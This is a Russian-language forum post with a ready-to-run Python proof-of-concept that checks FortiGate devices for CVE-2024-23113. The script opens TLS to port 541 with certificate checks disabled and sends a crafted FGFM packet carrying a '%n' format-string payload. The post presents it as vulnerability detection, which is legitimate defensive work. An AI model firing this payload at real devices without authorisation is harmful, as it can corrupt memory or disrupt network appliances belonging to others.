- Регистрация
- 1 Фев 2025
- Сообщения
- 25
- Реакции
- 4
CVE-2024-23113
Этот сценарий предназначен для обнаружения уязвимости CVE-2024-23113, которая представляет собой уязвимость форматной строки в службе FGFM (протокол связи между FortiGate и FortiManager) FortiGate, работающей на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может контролировать форматную строку, что может привести к удаленному выполнению кода (RCE) или другому непредвиденному поведению. Служба FGFM используется для связи по управлению конфигурацией между устройствами FortiGate и FortiManager, и неисправленные версии имеют ненадлежащую обработку входных данных, что делает их уязвимыми к атакам с использованием уязвимостей форматной строки.
Как работает скрипт
- Настройка сетевого соединения:
- Сценарий сначала устанавливает SSL/TLS-соединение с целевым устройством на порту 541.
- Он использует объект ssl.SSLContext и отключает проверку сертификата, чтобы иметь возможность подключаться к устройствам, которые могут использовать самоподписанные сертификаты.
- Создание полезной нагрузки:
- После установки соединения сценарий создает вредоносную полезную нагрузку, используя уязвимость форматной строки, например, authip=%n.
- Директива %n сообщает системе записать количество байтов, выведенных на данный момент, в переменную, что может привести к повреждению памяти.
- Эта вредоносная полезная нагрузка отправляется на целевое устройство через установленное соединение.
- Логика обнаружения:
- Затем сценарий проверяет поведение целевого устройства после получения вредоносной полезной нагрузки.
- Если соединение внезапно разрывается и возникает предупреждение SSL, это указывает на то, что цель уязвима, поскольку была вызвана защитная механика (например, _FORTIFY_SOURCE в glibc) от уязвимости форматной строки.
- Если соединение остается открытым, это может означать, что целевое устройство, возможно, было исправлено.
Инструкции по использованию:
- Запустите скрипт, используя Python 3, выполнив следующую команду:
Bash:
python POC-CVE-2024-23113.py
- Система запросит ввод имени хоста или IP-адреса устройства, которое необходимо проверить на наличие уязвимости. Или введите "exit" для выхода.
- Если целевое устройство уязвимо, скрипт выведет: Внимание: <hostname> уязвим!
- Если целевое устройство, похоже, исправлено, скрипт выведет: [+] <hostname> выглядит исправленным.
- Для запуска скрипта требуется Python 3.9+.
- Должен быть доступ к целевому устройству через сеть, и порт 541 должен быть открыт.
- На целевом устройстве должна работать служба FGFM.
Python:
import socket
import ssl
import struct
def check_vulnerability(hostname):
"""
Проверяет, существует ли уязвимость для заданного хоста, устанавливая соединение и анализируя ответ сервера.
Параметры:
hostname (str): Имя хоста, который необходимо проверить.
Возвращает:
bool: True, если устройство, вероятно, уязвимо, False в противном случае.
"""
context = create_ssl_context()
with create_socket() as sock:
if not connect_socket(sock, hostname, port=541):
return False
try:
with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
return analyze_server_response(ssock)
except ssl.SSLError as ssl_err:
return handle_ssl_error(ssl_err, hostname)
except socket.error as sock_err:
print(f"[-] Ошибка сокета: {sock_err}")
return False
def create_ssl_context():
"""Создает и возвращает SSL-контекст с необходимыми настройками."""
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.options |= ssl.OP_NO_COMPRESSION
return context
def create_socket():
"""Создает и возвращает сокет с настроенным таймаутом."""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
return sock
def connect_socket(sock, hostname, port):
"""
Подключает заданный сокет к указанному хосту и порту.
Параметры:
sock (socket.socket): Сокет, который необходимо подключить.
hostname (str): Имя хоста, к которому необходимо подключиться.
port (int): Номер порта, к которому необходимо подключиться.
Возвращает:
bool: True, если подключение успешно, False в противном случае.
"""
try:
sock.connect((hostname, port))
return True
except socket.error as e:
print(f"[-] Не удалось подключиться к {hostname}: {e}")
return False
def analyze_server_response(ssock):
"""
Анализирует первоначальные данные, полученные от сервера, и определяет, существует ли уязвимость.
Параметры:
ssock (ssl.SSLSocket): SSL-обернутый сокет.
Возвращает:
bool: True, если сервер, вероятно, уязвим, False в противном случае.
"""
initial_data = ssock.recv(1024)
if not initial_data:
print("[-] Не получены начальные данные от сервера.")
return False
if len(initial_data) >= 8:
pkt_flags, pkt_len = struct.unpack('ii', initial_data[:8])
pkt_len -= 2
else:
print("[-] Полученные начальные данные слишком короткие.")
return False
payload = ssock.recv(pkt_len - 8)
if len(payload) < pkt_len - 8:
print("[-] Получен неполный полезный код.")
return False
return send_format_string_payload(ssock)
def send_format_string_payload(ssock):
"""Отправляет полезную нагрузку с форматированной строкой на сервер и анализирует ответ."""
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00"
packet = create_packet(format_string_payload)
ssock.send(packet)
response = ssock.recv(1024)
if response:
print("[+] Устройство, возможно, не уязвимо - получен ответ.")
return False
else:
print("[+] Ответ не получен - требуется дальнейший анализ.")
return False
def create_packet(payload):
"""Создает пакет из заданной полезной нагрузки."""
packet = b''
packet += 0x0001e034.to_bytes(4, 'little')
packet += (len(payload) + 8).to_bytes(4, 'big')
packet += payload
return packet
def handle_ssl_error(ssl_err, hostname):
"""Обрабатывает ошибку SSL, чтобы определить, может ли сервер быть уязвимым."""
if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
print(f"[+] Устройство {hostname}, вероятно, уязвимо. Соединение было прервано, как ожидалось.")
return True
else:
print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
return False
def main():
while True:
hostname = input("Введите имя хоста для проверки (или 'exit' для выхода): ")
if hostname.lower() == 'exit':
break
is_vulnerable = check_vulnerability(hostname)
if is_vulnerable:
print(f"[!] Внимание: {hostname} уязвим!")
else:
print(f"[+] {hostname} не уязвим.")
if __name__ == "__main__":
main()